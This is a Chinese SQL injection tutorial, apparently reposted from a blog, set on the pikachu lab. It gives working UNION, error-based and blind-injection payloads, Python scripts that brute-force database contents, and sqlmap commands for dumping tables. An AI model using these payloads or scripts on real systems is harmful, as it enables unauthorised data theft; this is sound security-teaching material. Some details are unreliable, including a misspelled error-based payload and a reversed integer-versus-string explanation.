目录
前言：
1.【入门】普通查询型注入：
1.0 实验环境：
1.1进行一次普通的查询：
1.2 进行注入得到用户信息：
1.2.1 执行注入：
1.2.2 注入语句分析：
1.3 整型注入与字符型注入区别：
2.【进阶】从库到列逐步注入：
2.1 预备知识：
2.1.1 union函数：
2.1.2 order by函数：
2.1.3 information_schema 库：
2.2 注入实战：
2.2.1 查字段数：
2.2.2 查数据库名：
2.2.3 查库中所有的表名：
2.2.4 查表中所有的列名：
2.2.5 根据字段查询表中信息：
2.2.6 总结：
3.【高阶】 利用报错语句注入：
3.1 有关函数：
3.1.1 extractvalue()
3.1.2 updatexml()
3.2 注入实战
4.【高阶】布尔盲注：
4.1 什么是布尔盲注：
4.2 布尔盲注示例：
4.3 布尔盲注脚本：
5.【高阶】时间盲注：
5.1 什么是时间盲注：
5.2 时间盲注示例：
5.3 时间盲注脚本：
6.【附加】Sqlmap使用：
6.1 什么是sqlmap：
6.2 基本使用方法：
前言：
SQL注入漏洞OWASP Top 10漏洞之一，指黑客通过将恶意的SQL语句插入到Web应用程序的输入参数中，进而使后台的数据库服务器受到攻击的行为。这种漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行，从而导致数据库受损，用户隐私及机密数据遭到泄露
1.【入门】普通查询型注入：
1.0 实验环境：
用于实验的表为：
假设后台查询语句为：
select password from users where id='$GET['id']';分析语句可得，该语句会根据我们GET方式提交的参数 id 提交到数据库中查询id列中与提交的id参数相等的一行中password列所对应的值
1.1进行一次普通的查询：
语句为：
select password from users where id='tom';
这里我们提交的id参数为tom，也就是所在表中查询tom的password结果为：
显而易见，我们查找出了tom的password
1.2 进行注入得到用户信息：
1.2.1 执行注入：
注入语句为：
select password from users where id='tom' or 1=1;#';
#我们传入的 id 为 tom' or 1=1;#结果为：
我们可以看到爆出了所有的用户信息
1.2.2 注入语句分析：
我们给后台传入的id值为：
tom' or 1=1;#
后台形成查询语句为：
select password from users where id='tom' or 1=1;#';
红色的单引号为查询语句自带的，橙色单引号为我们传入的
- 可以看到第一个红色单引号与我们传入的单引号进行了配对，而第二个红色单引号者被我们传入的#号注释在外面（在sql语句中#号起注释作用），然后 tom由于被我们传入的单引号提前闭合，形成第一个查询条件
- or 代表逻辑运算符，代表或
- 第二个查询条件为：1=1 这条语句的结果永远为真（1永远等于1）
分析到这里，查询语句可简化为：
select password from users where id='tom' or True;可以理解为 id='tom' 或 为真
也就是说id只要还有存在的值，那么语句便会一直查找下去（id等于该列中任何一个值结果都为True）
1.3 整型注入与字符型注入区别：
上文所描述的注入实例为字符型，在实战环境中往往也会出现字符型
两种查询语句对比如下:
select password from users where id='$GET['id']'; #字符型
我们可以看到传入的参数在单引号中，故为字符型，因为字符串要被单引号括住
select password from users where id=$GET['id']; #整型
我们可以看到传入的参数两边无单引号，故为整型遇到字符型注入时，不需要构造引号闭合(因为后台语句没有单引号)，只须最后用引号注释掉后面即可
2.【进阶】从库到列逐步注入：
一般存在查询型注入，我们不只可以查询所有的同类型信息，还可以查询到数据库的版本、名称，及其所有的表、字段信息
2.1 预备知识：
2.1.1 union函数：
对前后两个select语句进行并集操作，不包括重复行，同时进行默认规则的排序；需要前后两个select语句查询的字段数相同，我们可以根据此函数自定义一个select语句，用来查询我们想要的信息
2.1.2 order by函数：
此函数后面跟数字，指的是根据 select 后面查询的列进行分组、排序等，1 代表第一个列，2代表第二个列，依次类推，如果我们所输入的数字大于select后所查询的列数，那么就会返回失败，所以我们可以通过不断改变后面的数字来确定前select语句所查询的字段数
2.1.3 information_schema 库：
这是 MySQL 自带的信息数据库，用于存储数据库元数据(关于数据库的数据)，例如数据库名、表名、列的数据类型、访问权限等。我们可在information_schema.tables这个表中查到该数据库的所有表
该内容表如下
2.2 注入实战：
这里以pikachu靶场为例
2.2.1 查字段数：
xx' order by 2#
2不报错，3报错，说明后台查询字段数为2，我们拼凑的查询语句字段数也应为2结果为：
2.2.2 查数据库名：
xx' union select database(),1#
database()为MySQL的一个环境变量，代表当前数据库
1是用来凑数的，因为前面的select语句为2个字段或者
xxx' union select 1,group_concat(schema_name) from information_schema.schemata#
这个是通过information_schema库(下文有讲)，查询当前用户所有数据库
结果为：
2.2.3 查库中所有的表名：
- 这里用到了information_schema库的tables表，里面有所有数据库内表的信息
xx' union select 1,table_name from information_schema.tables where table_schema="pikachu"#结果为：
2.2.4 查表中所有的列名：
- 这里用到了information_schema库的columns表，里面有所有表内列的信息
1' union select 1,column_name from information_schema.columns where table_name= "users"#
结果为：
2.2.5 根据字段查询表中信息：
xx' union select username,password from users#结果为：
2.2.6 总结：
- 我们首先爆出了当前数据库名，然后又爆出了该数据库所有的表名，又选取users表，爆出了其中大的列名，最后通过union查询出了username，password列的信息
3.【高阶】 利用报错语句注入：
在某些环境下，我们不止可以通过select语句进行注入，还以通过报错语句进行注入，利用报错语句带出数据
3.1 有关函数：
3.1.1 extractvalue()
格式为：
extractvalue(xml_document,XPath_string)
xml_document：一个包含XML文档的字符串
XPath_string：一个XPath表达式，用于定位需要提取的值
- 如果参数信息对应的xml文件路径不存在，那么就会以报错的形式返回错误的路径，我们可以令路径参数为查询语句，这样就会以报错的形式返回查询语句的结果
3.1.2 updatexml()
格式为：
格式为
updatexml(xml_document,XPath_string,new_value)
xml_document:一个包含XML文档的字符串，
XPath_string:一个XPath表达式，用于定位需要修改的节点
new_value:要替换为的新值。
- 该函数性质与上个相同，路径不对就会报错，利用方式也与上个相同
3.2 注入实战
同样以pikachu靶场为例
payload：
xx' and updatexml(1,datebase(),0)#我们可以看到爆出了数据库名（ 这里仅以查询数据库名为例，步骤与上文类似，替换XPath_string参数为对应查寻语句即可）
4.【高阶】布尔盲注：
4.1 什么是布尔盲注：
布尔盲注是一种SQL注入技术，它基于真和假的逻辑判断。攻击者通过构造一些布尔表达式，并根据页面显示的不同响应来判断是否注入成功
4.2 布尔盲注示例：
例如pikachu这一关：在输入信息不存在时，会返回相同的一句话
我们可通过返回的信息，判断注入真假
4.3 布尔盲注脚本：
- 该脚本的原理是使用 and 逻辑运算符 将查询为真的条件，和我们按照ASCII表逐一爆破的库名，表名等连接在一起只有都为真时，才会返回成功查询的标志（手工注入几乎不可能，太费时间，大部分情况都使用脚本）
//该脚本只能爆出数据库名，爆其他信息手动更改payload即可
import requests
url="xxxx/?id="
flag=''
for i in range(1,10):
print(i)
low=32
high=128
mid=(low+high)//2
while low<high:
payload="1' and ascii(substr(database(),%d,1))>%d--+"%(i,mid)
r=requests.get(url=url+payload)
if "You are in" in r.text:
low=mid+1
else:
high=mid
mid=(low+high)//2
if(mid==32):
break
flag=flag+chr(mid)
print(flag)5.【高阶】时间盲注：
5.1 什么是时间盲注：
时间盲注是一种基于时间的SQL注入攻击技术。在某些情况下，页面会只有一种返回结果，无法通过正常的方式判断是否注入成功，这时，攻击者可以利用延时函数如sleep()和benchmark()等，在SQL语句中加入等待一定时间的命令，根据页面的响应时间来判断条件是否正确
5.2 时间盲注示例：
例如pikachu这一关： 当我们输入不存在的用户名时，只会返回同样的一句话
无论我们传入的数据是否存在，返回结果均相同，所以我们要通过响应时间判断注入对错文章来源：https://www.toymoban.com/news/detail-455010.html
5.3 时间盲注脚本：
- 根据实际场景修改url以及payload即可使用，脚本原理与布尔盲注脚本相似
该脚本只能爆出数据库名，爆其他信息手动更改payload即可
import time
import requests
flag=""
session=requests.Session()
url="xxx/?id="
for i in range(1,100):
print(i)
low=32
high=128
mid=(low+high)//2
while low<high:
payload = "1' and if(ascii(substr(database(),%d,1))>%d,sleep(1),1)--+"%(i,mid)
stat_time = time.time()
r = session.get(url=url+payload)
end_time = time.time()
t = end_time - stat_time
if t > 1:
low = mid + 1
else:
high = mid
mid = (low + high)//2
if mid==32:
break
flag=flag+chr(mid)
print(flag)6.【附加】Sqlmap使用：
6.1 什么是sqlmap：
sqlmap是一款开源的自动化SQL注入工具，可以用于检测和利用Web应用程序中的SQL注入漏洞，并获取数据库的敏感信息。该工具支持多种数据库类型（如MySQL、Oracle、PostgreSQL等）和操作系统（如Windows、Linux等）官网下载链接文章来源地址https://www.toymoban.com/news/detail-455010.html
6.2 基本使用方法：
sqlmap -u "http://www.xx.com?id=x" 查询是否存在注入点
--dbs 检测站点包含哪些数据库
--current-db 获取当前的数据库名
--tables -D "db_name" 获取指定数据库中的表名
--columns -T "table_name" -D "db_name" 获取数据库表中的字段
--dump -C "columns_name" -T "table_name" -D "db_name" 获取指定列的数据内容到了这里，关于【数据库】SQL注入从0到1的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
